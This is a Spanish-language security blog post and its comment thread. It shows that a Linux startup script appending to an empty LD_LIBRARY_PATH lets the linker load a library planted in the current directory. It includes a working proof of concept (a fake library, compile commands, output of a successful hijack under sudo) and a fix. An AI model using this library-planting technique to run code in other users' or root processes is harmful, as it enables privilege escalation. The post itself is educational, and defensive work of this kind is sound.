DLL Hijacking Linux (Windows like)

Mucho se ha hablado (y el revuelo ha sido enorme) estos días sobre un “fallo/feature/vulnerabilidad” en la forma en la que Windows busca las librerías compartidas (DLL) que necesita un ejecutable. El problema viene cuando los programadores no indican la ruta completa de la librería requerida. En esa situación, un atacante podría conseguir que se cargara su DLL maliciosa, colocándola en el directorio desde el cual se lanza la aplicación vulnerable. Por poner un escenario de ejemplo, si un atacante lograse incitar a un usuario a ejecutar una aplicación “confiable” desde un directorio compartido (network share) en el que previamente ha colocado su DLL maliciosa, el ejecutable cargaría ésta en lugar de la original. Se han encontrado multitud de aplicaciones vulnerables (incluídas algunas de Microsoft).

Como suele ser también habitual, han saltado aquellos que dicen que estas cosas en Linux no pasan porque es más seguro o porque el Dios protector del Pingüino estelar vela por nosotros. En cualquier caso, la realidad es que existe un comportamiento “similar” en Linux, y de eso es de lo que vamos a hablar en esta entrada. Quiero dejar claro que no se trata de algo que yo haya descubierto. Más bien es algo que se conoce desde hace tiempo, y que me ha parecido interesante traer de nuevo a la palestra visto el impacto que ha causado en Windows.

Update: Recientemente se ha comentado esto mismo en Full Disclosure, aunque con menos detalle 😉 Eso sí, han aportado una búsqueda en Google Code para localizar posibles aplicaciones vulnerables.
Update 2: “Recientemente” tenía sentido en el momento de escribir el post, aunque algo menos cuando se ha publicado.

LD_LIBRARY_PATH

La variable de entorno LD_LIBRARY_PATH indica al linker (ld) las rutas en las que debe buscar las librerías dinámicas (shared objects en linux).  La posición dentro de la variable es relevante, ya que el linker busca las librerías en el orden en el que aparecen listadas en la variable, y por último en los directorios por defecto (/lib, /usr/lib, …). Para que quede claro, estas dos líneas darán como resultado un orden de búsqueda diferente:

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/share/app
export LD_LIBRARY_PATH=/usr/share/app:$LD_LIBRARY_PATH

En la primera, se buscará primero en el contenido previo de LD_LIBRARY_PATH, después en /usr/share/app, y por último en los directorios por defecto. Sin embargo, en la segunda, se buscará en primer lugar en /usr/share/app, posteriormente en lo que contenga LD_LIBRARY_PATH y finalmente en los directorios por defecto. Para el caso que nos ocupa, nos interesa la primera línea.

El linker tiene un comportamiento “extraño” y que da lugar a la situación que veremos a continuación. Lo que sucede es que el linker traduce un LD_LIBRARY_PATH vacío por $PWD. Como ya estáis intuyendo, y como habréis visto en cientos de scripts, tendremos un problema si se utiliza la línea que vimos antes:

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/share/app

Esto es, si llegado a ese punto del script la variable LD_LIBRARY_PATH es vacía, el linker la sustituirá por $PWD, abriendo la posibilidad a un DLL hijacking o binary planting. Como en el caso de Windows, hay que encontrar aplicaciones vulnerables y lograr que el usuario las invoque desde un directorio que controlemos para poder llevar a cabo el ataque. Como en este blog no nos gusta mucho la teoría, he preparado un ejemplo sencillo para que se entienda mejor.

Hands On

El ejemplo consta de los siguientes ficheros:

  • /bin/app: El binario de la aplicación, que utiliza applib.so para mostrar un mensaje por pantalla. Creado desde app.c
  • /usr/share/app/applib.so: La librería que contiene la función para mostrar el mensaje. Creado desde applib.c
  • /etc/init.d/app.sh: El script de inicio de la aplicación, que prepara el entorno y la invoca (fija LD_LIBRARY_PATH)
  • /tmp/applib.so: Librería maliciosa, creada desde fakelib.c, situada en un directorio controlado por el atacante y desde donde el usuario invocará la aplicación original.

Aquí está el código de estos ficheros, para que podáis descargarlo y probarlo vosotros mismos.

La aplicación (app.c):


#include <stdlib.h>

int main(void){
 // do stuff
 my_printf("im a cool app doing fancy things\n");
 // more great stuff
}

La librería de funciones (applib.c):


#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int my_printf(const char *format, ...){
 write(2, format, strlen(format));
}

El script de arranque (app.sh):


#!/bin/sh

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/share/app

/bin/app

Y por último, la librería maliciosa, fakelib.c:


#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>

int my_printf(const char *format, ...){
 write(2, "Hijacked : )\n", 13);
 exit(0);
}

Pasamos entonces a compilar y fijar la aplicación y las librerías en su sitio correspondiente:


adrian@Orion-virt:~$ gcc -c app.c
adrian@Orion-virt:~$ gcc applib.c -fPIC -shared -o applib.so
adrian@Orion-virt:~$ gcc -o app applib.so app.o
adrian@Orion-virt:~$ ./app
im a cool app doing fancy things

adrian@Orion-virt:~$ sudo mkdir /usr/share/app
adrian@Orion-virt:~$ sudo mv applib.so /usr/share/app
adrian@Orion-virt:~$ sudo mv app /bin/
adrian@Orion-virt:~$ sudo vim /etc/init.d/app.sh
adrian@Orion-virt:~$ vim fakelib.c
adrian@Orion-virt:~$ gcc -fPIC -shared -o applib.so fakelib.c
adrian@Orion-virt:~$ mv applib.so /tmp/

Con todas las piezas situadas en su sitio, si ejecutamos la aplicación desde un directorio seguro, funcionará como esperamos. Pero si cambiamos de directorio a uno controlado por el atacante (donde esté fakelib) el linker cargará la librería maliciosa y obtendremos un mensaje diferente:


adrian@Orion-virt:~$ /etc/init.d/app.sh
im a cool app doing fancy things
adrian@Orion-virt:~$ cd /tmp/
adrian@Orion-virt:/tmp$ /etc/init.d/app.sh
Hijacked : )
adrian@Orion-virt:/tmp$ sudo /etc/init.d/app.sh
Hijacked : )

Como se puede ver, el “ataque” funciona. Y es más, puede servir para escalar privielgios o ejecutar código como root, porque si bien es cierto que sudo elimina (unset) las variables de entorno antes de elevar privilegios, esta acción se realiza antes de que el script rellene LD_LIBRARY_PATH con un nuevo valor.

Personalmente entiendo la comodidad de sustituir un LD_LIBRARY_PATH vacío por $PWD, pero quizá, salvo petición expresa, $PWD debería chequearse en último lugar (salvo que se haya añadido al LIBPATH a mano). Aún así, el fallo real es culpa del programador, que debería comprobar si LD_LIBRARY_PATH está vacía antes de asignarle un valor. Algo como esto solucionaría la vulnerabilidad en nuestra pequeña aplicación:

#!/bin/sh

if [ -n "${LD_LIBRARY_PATH+x}" ]; then
 export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/share/app
else
 export LD_LIBRARY_PATH=/usr/share/app
fi

/bin/app

Espero que la vuelta de vacaciones no sea muy dura. Cualquier comentario o aportación es bienvenido 🙂

Anuncios
Tagged with: , , , ,
Publicado en exploiting, hacking, Linux
19 comments on “DLL Hijacking Linux (Windows like)
  1. vierito5 dice:

    Se podría haber comentado algo también sobre LD_PRELOAD,no? Saludos!

  2. Adrián dice:

    Hola Vierito5,

    sí, pero en realidad sobre LD_PRELOAD querría hablar en otro momento. Esto era más que nada porque es muy parecido a la “vulnerabilidad” que se ha descubierto en Windows hace poco, en la que el atacante controla un directorio. Con LD_PRELOAD se pueden hacer muchas cosas (con ingenio, un malware en espacio de usuario p.ej), depuración con hooks…

    Por supuesto en el caso de este post, si el script utilizase LD_PRELOAD tras fijar LD_LIBRARY_PATH y no pusiera la ruta completa de la librería, también funcionaría.

    ¿Era por ahí por dónde querías ir o era algo más concreto sobre LD_PRELOAD lo que querías que se comentase?

  3. SwtorGr dice:

    You use Sudo with no password.

    without Sudo can be happen ?

  4. Adrián dice:

    Hi SwtoGr,

    This happens with and without sudo, as you can see here:

    adrian@Orion-virt:/tmp$ /etc/init.d/app.sh
    Hijacked : )
    adrian@Orion-virt:/tmp$ sudo /etc/init.d/app.sh
    Hijacked : )

    If it looks like sudo didn’t ask for my password, thats because I already typed it in and im still inside the grace period (15 min).

    Regards

    • SwtorGr dice:

      yes this happened because you have set sudo .the default setting in sudo is

      # /etc/sudoers
      #
      # This file MUST be edited with the 'visudo' command as root.
      #
      # See the man page for details on how to write a sudoers file.
      #
      
      Defaults        env_reset
      
      # Uncomment to allow members of group sudo to not need a password
      # %sudo ALL=NOPASSWD: ALL
      
      # Host alias specification
      
      # User alias specification
      
      # Cmnd alias specification
      
      # User privilege specification
      root    ALL=(ALL) ALL
      
      # Members of the admin group may gain root privileges
      %admin ALL=(ALL) ALL
      

      if someone dooesn’t use sudo at all,he will not affect by any script.

    • SwtorGr dice:

      i want change this line “if someone dooesn’t use sudo at all,he will not affect by any script.”

      with this line “if someone dooesn’t use sudo at all or he didn’t changed the defaults values ,he has nothing to worry about , because actually he can not do anything with sudo in his system “

      • SwtorGr dice:

        Plus , in windows systems where run as administrator is by default setup and it is without password will be real disaster in a few months .

      • Adrián dice:

        Hi SwtorGr,

        I think you’ve misunderstood the point. As you can test yourself, withouth sudo installed/enabled you can still hijack processes launched as a normal user. If you log as the root user to start/stop a service, you are also affected. Even if you use su without “-” (as su user command), your current directory won’t change, so you will also be affected.

      • SwtorGr dice:

        Adrian :
        SwtorGr Hi,
        I think you’ve misunderstood the point. As-you-can test yourself, withouth sudo installed / enabled Processes You Can Still hijack Launched as a normal user. If you log as the root user to start / stop a service, you are Also affected. Even if you use your without “-” (as the user command), will not change your current directory, so you will Also be affected.

        with sudo enabled ,but with the default settings the script breaks

        sudo mkdir /usr/share/app
        [sudo] password for xXx: 
        xXx is not in the sudoers file.  This incident will be reported.
        

        and the user xXx IS INSIDE the Sudo config file but he can only access the /bin/halt app.

        my friend i checked every option from your code and i saw that it was only succefull when someone uses sudo with option ALL:ALL without password.

  5. vierito5 dice:

    Sí, iba por ahí, yo me refería a que se le podía sacar un uso muy similar y relacionado 🙂

  6. Adrián dice:

    SwtorGr,

    you’ve missed the point completely. This is not intended to do more things than the actual user can do. The point is to hijack his applications and force them do what you please. If the user cannot become root, you won’t get root, but If the user can, then you’ll be able to exec things as root without his knowledge. The sudo example just shows how sudo’s env variable clean up and protection mechanisms does not prevent the user to be hijacked. Thats all.

  7. uucpbrain dice:

    local exploit (linux) != remote exploit (windows)

    • Adrián dice:

      Hola uucpbrain,

      En Windows, al igual que en Linux, lo que necesita el atacante es controlar un directorio. Si en Linux se hace a través de un network share, igual que en Windows, también es “remoto”. Yo no le daría el término “remoto” a ninguno de ellos de todos modos.

  8. Jisakiel dice:

    Harto útil, estás la primera entrada en google buscando “LD_LIBRARY_PATH pwd secure” ;).

    Por cierto, yo movería el enlace de “dejar comentario” al final de los posts, así es más práctico, normalmente uno comenta al final de habérselo leído.

    • Adrián dice:

      Je, salir en google siempre es bueno. Cambiaré el enlace cuando encuentre ganas, que da pereza tocar la plantilla. También quiero añadir un “follow me” para twitter y alguna cosa más.

      Creo que lo que buscabas en google está al final del post 😛

  9. dreyercito dice:

    Ummh… desde mi punto de vista no tiene __NADA__ que ver. El problema y el revuelo que se ha causado es windows no es que exista que tengas un comportamiento/variable/entrada de registro que permita decir donde se buscan las librerias. (que por cierto, en linux, no solo sudo pero el LD_PRELOAD/LD_LIBRARY_PATH se ignora para _todos_ los suids).

    El problema real es el comportamiento POR DEFECTO, que en windows, y para algunos programas, te permitiria cargar librerias remotas o locales sin hacer NINGUN cambio. Menudo ataque el de linux si tienes que cambiar esas variables, es simplemente una feature del sistema, no una vulnerabilidad y por eso mismo no hay ningun revuelo.

  10. Adrián dice:

    Hola dreyercito,

    no es que tengas que cambiar nignuna variable de entorno para que tenga efecto. Es que existen muchos (por no decir la mayoría) programas en Linux que tienen un script que prepara el entorno para la ejecución del programa, y en esa preparación fijan LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/path/to/app y por tanto dejan abierta la puerta a DLL hijacking.

    El error es un mix de mala programación y de comportamiento por defecto. Por otro lado, sí, todos los suids ignoran las variables de entorno peligrosas, pero para este tipo de error da un poco lo mismo, porque la limpieza de entorno que realizan se produce antes de que se ejecute el script que arranca el programa, y es en este script donde se introduce el problema al fijar LD_LIBRARY_PATH.

    Saludos y gracias por el comment!

  11. dreyercito dice:

    Si, en eso tienes razon pero es que es muy, muy, pero que muy diferente el tener un LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/path/to/app, que el equivalente de lo que ha pasado en windows que seria mas bien un LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH (metiendo como primer path de busqueda el current directory) para todas las aplicaciones!!

    Para mi el problema real es que es tan simple como hacer el doble click en un fichero de un directorio y que cargue una libreria de ese mismo directorio. Y para esto todo depende de como se comporte el file browser al hacer un doble click a un fichero que tenga un helper asociado y
    como se lance el helper. Si hace o ha hecho un chdir() al directorio donde esta apuntando el browser y lanza el helper tendrias el mismo comportamiento que en windows si y solo si tuvieras
    un LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH, en caso contrario ni si quiera en este caso.

  12. Adrián dice:

    Sí, veo las diferencias. Estoy de acuerdo en que no es exactamente igual, pero es muy parecido, el problema es que en windows si la app no especifica la ruta completa hasta la dll, primero la busca en el directorio del exe, mientras que en Linux el problema es que si se especifica LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/path/to/app y LD_LIBRARY_PATH estaba vacío, el linker interpreta “vacío” como $PWD y carga las librerías desde el path del binario.

    Pero vaya, sí, en windows es más grave, no lo discuto 🙂

    Salud!

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: